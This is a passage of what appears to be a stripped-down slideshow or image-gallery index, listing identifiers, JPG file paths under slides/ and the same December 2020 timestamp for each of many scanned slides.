slides/S22C-620121513141_0001.jpg + + + S22C-620121513150_0001 + slides/S22C-620121513150_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513150_0001.jpg + + + S22C-620121513151_0001 + slides/S22C-620121513151_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513151_0001.jpg + + + S22C-620121513152_0001 + slides/S22C-620121513152_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513152_0001.jpg + + + S22C-620121513153_0001 + slides/S22C-620121513153_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513153_0001.jpg + + + S22C-620121513160_0001 + slides/S22C-620121513160_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513160_0001.jpg + + + S22C-620121513180_0001 + slides/S22C-620121513180_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513180_0001.jpg + + + S22C-620121513183_0001 + slides/S22C-620121513183_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513183_0001.jpg + + + S22C-620121513190_0001 + slides/S22C-620121513190_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513190_0001.jpg + + + S22C-620121513191_0001 + slides/S22C-620121513191_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513191_0001.jpg + + + S22C-620121513192_0001 + slides/S22C-620121513192_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513192_0001.jpg + + + S22C-620121513193_0001 + slides/S22C-620121513193_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513193_0001.jpg + + + S22C-620121513200_0001 + slides/S22C-620121513200_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513200_0001.jpg + + + S22C-620121513201_0001 + slides/S22C-620121513201_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513201_0001.jpg + + + S22C-620121513203_0001 + slides/S22C-620121513203_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513203_0001.jpg + + + S22C-620121513220_0001 + slides/S22C-620121513220_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513220_0001.jpg + + + S22C-620121513221_0001 + slides/S22C-620121513221_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513221_0001.jpg + + + S22C-620121513222_0001 + slides/S22C-620121513222_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513222_0001.jpg + + + S22C-620121513240_0001 + slides/S22C-620121513240_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513240_0001.jpg + + + S22C-620121513280_0001 + slides/S22C-620121513280_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513280_0001.jpg + + + S22C-620121513281_0001 + slides/S22C-620121513281_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513281_0001.jpg + + + S22C-620121513282_0001 + slides/S22C-620121513282_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513282_0001.jpg + + + S22C-620121513283_0001 + slides/S22C-620121513283_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513283_0001.jpg + + + S22C-620121513290_0001 + slides/S22C-620121513290_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513290_0001.jpg + + + S22C-620121513291_0001 + slides/S22C-620121513291_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513291_0001.jpg + + + S22C-620121513292_0001 + slides/S22C-620121513292_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513292_0001.jpg + + + S22C-620121513293_0001 + slides/S22C-620121513293_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513293_0001.jpg + + + S22C-620121513300_0001 + slides/S22C-620121513300_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513300_0001.jpg + + + S22C-620121513302_0001 + slides/S22C-620121513302_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513302_0001.jpg + + + S22C-620121513310_0001 + slides/S22C-620121513310_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513310_0001.jpg + + + S22C-620121513311_0001 + slides/S22C-620121513311_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513311_0001.jpg + + + S22C-620121513312_0001 + slides/S22C-620121513312_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513312_0001.jpg + + + S22C-620121513321_0001 + slides/S22C-620121513321_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513321_0001.jpg + + + S22C-620121513340_0001 + slides/S22C-620121513340_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513340_0001.jpg + + + S22C-620121513341_0001 + slides/S22C-620121513341_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513341_0001.jpg + + + S22C-620121513342_0001 + slides/S22C-620121513342_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513342_0001.jpg + + + S22C-620121513350_0001 + slides/S22C-620121513350_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513350_0001.jpg + + + S22C-620121513351_0001 + slides/S22C-620121513351_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513351_0001.jpg + + + S22C-620121513360_0001 + slides/S22C-620121513360_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513360_0001.jpg + + + S22C-620121515310_0001 + slides/S22C-620121515310_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515310_0001.jpg + + + S22C-620121515311_0001 + slides/S22C-620121515311_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515311_0001.jpg + + + S22C-620121515320_0001 + slides/S22C-620121515320_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515320_0001.jpg + + + S22C-620121515321_0001 + slides/S22C-620121515321_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515321_0001.jpg + + + S22C-620121515322_0001 + slides/S22C-620121515322_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515322_0001.jpg + + + S22C-620121515323_0001 + slides/S22C-620121515323_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515323_0001.jpg + + + S22C-620121515324_0001 + slides/S22C-620121515324_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515324_0001.jpg + + + S22C-620121515331_0001 + slides/S22C-620121515331_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515331_0001.jpg + + + S22C-620121515332_0001 + slides/S22C-620121515332_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515332_0001.jpg + + + S22C-620121515333_0001 + slides/S22C-620121515333_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515333_0001.jpg + + + S22C-620121515340_0001 + slides/S22C-620121515340_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515340_0001.jpg + + + S22C-620121515341_0001 + slides/S22C-620121515341_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515341_0001.jpg + + + S22C-620121515342_0001 + slides/S22C-620121515342_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515342_0001.jpg + + + S22C-620121515343_0001 + slides/S22C-620121515343_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515343_0001.jpg + + + S22C-620121515344_0001 + slides/S22C-620121515344_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515344_0001.jpg + + + S22C-620121515350_0001 + slides/S22C-620121515350_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515350_0001.jpg + + + S22C-620121515351_0001 + slides/S22C-620121515351_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515351_0001.jpg + + + S22C-620121515352_0001 + slides/S22C-620121515352_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515352_0001.jpg + + + S22C-620121515360_0001 + slides/S22C-620121515360_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515360_0001.jpg + + + S22C-620121515361_0001 + slides/S22C-620121515361_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515361_0001.jpg + + + S22C-620121515362_0001 + slides/S22C-620121515362_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515362_0001.jpg + + + S22C-620121515363_0001 + slides/S22C-620121515363_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515363_0001.jpg + + + S22C-620121515370_0001 + slides/S22C-620121515370_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515370_0001.jpg + + + S22C-620121515371_0001 + slides/S22C-620121515371_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515371_0001.jpg + + + S22C-620121515372_0001 + slides/S22C-620121515372_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515372_0001.jpg + + + S22C-620121515410_0001 + slides/S22C-620121515410_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515410_0001.jpg + + + S22C-620121515411_0001 + slides/S22C-620121515411_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515411_0001.jpg + + + S22C-620121515412_0001 + slides/S22C-620121515412_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515412_0001.jpg + + + S22C-620121515413_0001 + slides/S22C-620121515413_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515413_0001.jpg + + + S22C-620121515414_0001 + slides/S22C-620121515414_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515414_0001.jpg + + + S22C-620121515415_0001 + slides/S22C-620121515415_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515415_0001.jpg + + + S22C-620121515420_0001 + slides/S22C-620121515420_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515420_0001.jpg + + + S22C-620121515421_0001 + slides/S22C-620121515421_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515421_0001.jpg + + + S22C-620121515422_0001 + slides/S22C-620121515422_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515422_0001.jpg + + + S22C-620121515423_0001 + slides/S22C-620121515423_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515423_0001.jpg + + + S22C-620121515430_0001 + slides/S22C-620121515430_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515430_0001.jpg + + + S22C-620121515431_0001 + slides/S22C-620121515431_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515431_0001.jpg + + + S22C-620121515432_0001 + slides/S22C-620121515432_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515432_0001.jpg + + + S22C-620121515433_0001 + slides/S22C-620121515433_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515433_0001.jpg + + + S22C-620121515440_0001 + slides/S22C-620121515440_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515440_0001.jpg + + + S22C-620121515442_0001 + slides/S22C-620121515442_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515442_0001.jpg + + + S22C-620121515443_0001 + slides/S22C-620121515443_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515443_0001.jpg + + + S22C-620121515444_0001 + slides/S22C-620121515444_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515444_0001.jpg + + + S22C-620121515445_0001 + slides/S22C-620121515445_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515445_0001.jpg + + + S22C-620121515450_0001 + slides/S22C-620121515450_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515450_0001.jpg + + + S22C-620121515452_0001 + slides/S22C-620121515452_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515452_0001.jpg + + + S22C-620121515453_0001 + slides/S22C-620121515453_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515453_0001.jpg + + + S22C-620121515462_0001 + slides/S22C-620121515462_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515462_0001.jpg + + + S22C-620121515470_0001 + slides/S22C-620121515470_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515470_0001.jpg + + + S22C-620121515471_0001 + slides/S22C-620121515471_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515471_0001.jpg + + + S22C-620121515473_0001 + slides/S22C-620121515473_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515473_0001.jpg + + + S22C-620121515474_0001 + slides/S22C-620121515474_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515474_0001.jpg + + + S22C-620121515480_0001 + slides/S22C-620121515480_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515480_0001.jpg + + + S22C-620121515481_0001 + slides/S22C-620121515481_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515481_0001.jpg + + + S22C-620121515482_0001 + slides/S22C-620121515482_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515482_0001.jpg + + + S22C-620121515540_0001 + slides/S22C-620121515540_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515540_0001.jpg + + + S22C-620121515541_0001 + slides/S22C-620121515541_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515541_0001.jpg + + + S22C-620121515550_0001 + slides/S22C-620121515550_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515550_0001.jpg + + + S22C-620121515551_0001 + slides/S22C-620121515551_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515551_0001.jpg + + + S22C-620121515552_0001 + slides/S22C-620121515552_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515552_0001.jpg + + + S22C-620121515553_0001 + slides/S22C-620121515553_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515553_0001.jpg + + + S22C-620121515554_0001 + slides/S22C-620121515554_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515554_0001.jpg + + + S22C-620121515560_0001 + slides/S22C-620121515560_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515560_0001.jpg + + + S22C-620121515561_0001 + slides/S22C-620121515561_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515561_0001.jpg + + + S22C-620121515562_0001 + slides/S22C-620121515562_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515562_0001.jpg + + + S22C-620121515563_0001 + slides/S22C-620121515563_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515563_0001.jpg + + + S22C-620121515570_0001 + slides/S22C-620121515570_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515570_0001.jpg + + + S22C-620121515571_0001 + slides/S22C-620121515571_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515571_0001.jpg + + + S22C-620121515572_0001 + slides/S22C-620121515572_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515572_0001.jpg + + + S22C-620121515573_0001 + slides/S22C-620121515573_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515573_0001.jpg + + + S22C-620121515574_0001 + slides/S22C-620121515574_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515574_0001.jpg + + + S22C-620121515580_0001 + slides/S22C-620121515580_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515580_0001.jpg + + + S22C-620121515581_0001 + slides/S22C-620121515581_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515581_0001.jpg + + + S22C-620121515582_0001 + slides/S22C-620121515582_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515582_0001.jpg + + + S22C-620121515583_0001 + slides/S22C-620121515583_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515583_0001.jpg + + + S22C-620121515590_0001 + slides/S22C-620121515590_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515590_0001.jpg + + + S22C-620121515591_0001 + slides/S22C-620121515591_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515591_0001.jpg + + + S22C-620121515592_0001 + slides/S22C-620121515592_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515592_0001.jpg + + + S22C-620121516000_0001 + slides/S22C-620121516000_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516000_0001.jpg + + + S22C-620121516001_0001 + slides/S22C-620121516001_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516001_0001.jpg + + + S22C-620121516002_0001 + slides/S22C-620121516002_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516002_0001.jpg + + + S22C-620121516003_0001 + slides/S22C-620121516003_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516003_0001.jpg + + + S22C-620121516004_0001 + slides/S22C-620121516004_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516004_0001.jpg + + + S22C-620121516010_0001 + slides/S22C-620121516010_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516010_0001.jpg + + + S22C-620121516011_0001 + slides/S22C-620121516011_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516011_0001.jpg + + + S22C-620121516012_0001 + slides/S22C-620121516012_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516012_0001.jpg + + + S22C-620121516013_0001 + slides/S22C-620121516013_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516013_0001.jpg + + + S22C-620121516020_0001 + slides/S22C-620121516020_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516020_0001.jpg + + + S22C-620121516021_0001 + slides/S22C-620121516021_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516021_0001.jpg + + + S22C-620121516022_0001 + slides/S22C-620121516022_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516022_0001.jpg + + + S22C-620121516023_0001 + slides/S22C-620121516023_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516023_0001.jpg + + + S22C-620121516030_0001 + slides/S22C-620121516030_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516030_0001.jpg + + + S22C-620121516031_0001 + slides/S22C-620121516031_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516031_0001.jpg + + + S22C-620121516032_0001 + slides/S22C-620121516032_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516032_0001.jpg + + + S22C-620121516033_0001 + slides/S22C-620121516033_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516033_0001.jpg + + + S22C-620121516034_0001 + slides/S22C-620121516034_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516034_0001.jpg + + + S22C-620121516040_0001 + slides/S22C-620121516040_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516040_0001.jpg + + + S22C-620121516041_0001 + slides/S22C-620121516041_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516041_0001.jpg + + + S22C-620121516042_0001 + slides/S22C-620121516042_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516042_0001.jpg + + + S22C-620121516043_0001 + slides/S22C-620121516043_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516043_0001.jpg + + + S22C-620121516052_0001 + slides/S22C-620121516052_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516052_0001.jpg + + + S22C-620121516053_0001 + slides/S22C-620121516053_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516053_0001.jpg + + + S22C-620121516060_0001 + slides/S22C-620121516060_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516060_0001.jpg + + + S22C-620121516170_0001 + slides/S22C-620121516170_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516170_0001.jpg + + + S22C-620121516180_0001 + slides/S22C-620121516180_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516180_0001.jpg + + + S22C-620121516181_0001 + slides/S22C-620121516181_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516181_0001.jpg + + + S22C-620121516190_0001 + slides/S22C-620121516190_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516190_0001.jpg + + + S22C-620121516191_0001 + slides/S22C-620121516191_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516191_0001.jpg + + + S22C-620121516192_0001 + slides/S22C-620121516192_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516192_0001.jpg + + + S22C-620121516200_0001 + slides/S22C-620121516200_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516200_0001.jpg + + + S22C-620121516201_0001 + slides/S22C-620121516201_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516201_0001.jpg + + + S22C-620121516202_0001 + slides/S22C-620121516202_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516202_0001.jpg + + + S22C-620121516210_0001 + slides/S22C-620121516210_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516210_0001.jpg + + + S22C-620121516211_0001 + slides/S22C-620121516211_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516211_0001.jpg + + + S22C-620121516212_0001 + slides/S22C-620121516212_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516212_0001.jpg + + + S22C-620121516213_0001 + slides/S22C-620121516213_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516213_0001.jpg + + + S22C-620121516220_0001 + slides/S22C-620121516220_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516220_0001.jpg + + + S22C-620121516221_0001 + slides/S22C-620121516221_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516221_0001.jpg + + + S22C-620121516222_0001 + slides/S22C-620121516222_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516222_0001.jpg + + + S22C-620121516223_0001 + slides/S22C-620121516223_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516223_0001.jpg + + + S22C-620121516231_0001 + slides/S22C-620121516231_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516231_0001.jpg + + + S22C-620121516232_0001 + slides/S22C-620121516232_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516232_0001.jpg + + + S22C-620121516233_0001 + slides/S22C-620121516233_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516233_0001.jpg + + + S22C-620121516240_0001 + slides/S22C-620121516240_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516240_0001.jpg + + + S22C-620121516241_0001 + slides/S22C-620121516241_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516241_0001.jpg + + + S22C-620121516242_0001 + slides/S22C-620121516242_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516242_0001.jpg + + + S22C-620121516243_0001 + slides/S22C-620121516243_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516243_0001.jpg + + + S22C-620121516250_0001 + slides/S22C-620121516250_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516250_0001.jpg + + + S22C-620121516251_0001 + slides/S22C-620121516251_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516251_0001.jpg + + + S22C-620121516252_0001 + slides/S22C-620121516252_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516252_0001.jpg + + + S22C-620121516253_0001 + slides/S22C-620121516253_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516253_0001.jpg + + + S22C-620121516254_0001 + slides/S22C-620121516254_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516254_0001.jpg + + + S22C-620121516260_0001 + slides/S22C-620121516260_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516260_0001.jpg + + + S22C-620121516261_0001 + slides/S22C-620121516261_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516261_0001.jpg + + + S22C-620121516263_0001 + slides/S22C-620121516263_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516263_0001.jpg + + + S22C-620121516270_0001 + slides/S22C-620121516270_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516270_0001.jpg + + + S22C-620121516271_0001 + slides/S22C-620121516271_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516271_0001.jpg + + + S22C-620121516272_0001 + slides/S22C-620121516272_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516272_0001.jpg + + + S22C-620121516280_0001 + slides/S22C-620121516280_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516280_0001.jpg + + + S22C-620121516320_0001 + slides/S22C-620121516320_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516320_0001.jpg + + + S22C-620121516321_0001 + slides/S22C-620121516321_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516321_0001.jpg + + + S22C-620121516322_0001 + slides/S22C-620121516322_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516322_0001.jpg + + + S22C-620121516330_0001 + slides/S22C-620121516330_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516330_0001.jpg + + + S22C-620121516340_0001 + slides/S22C-620121516340_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516340_0001.jpg + + + S22C-620121516341_0001 + slides/S22C-620121516341_0001.jpg + Sat, 19 Dec 2020 16:59:54 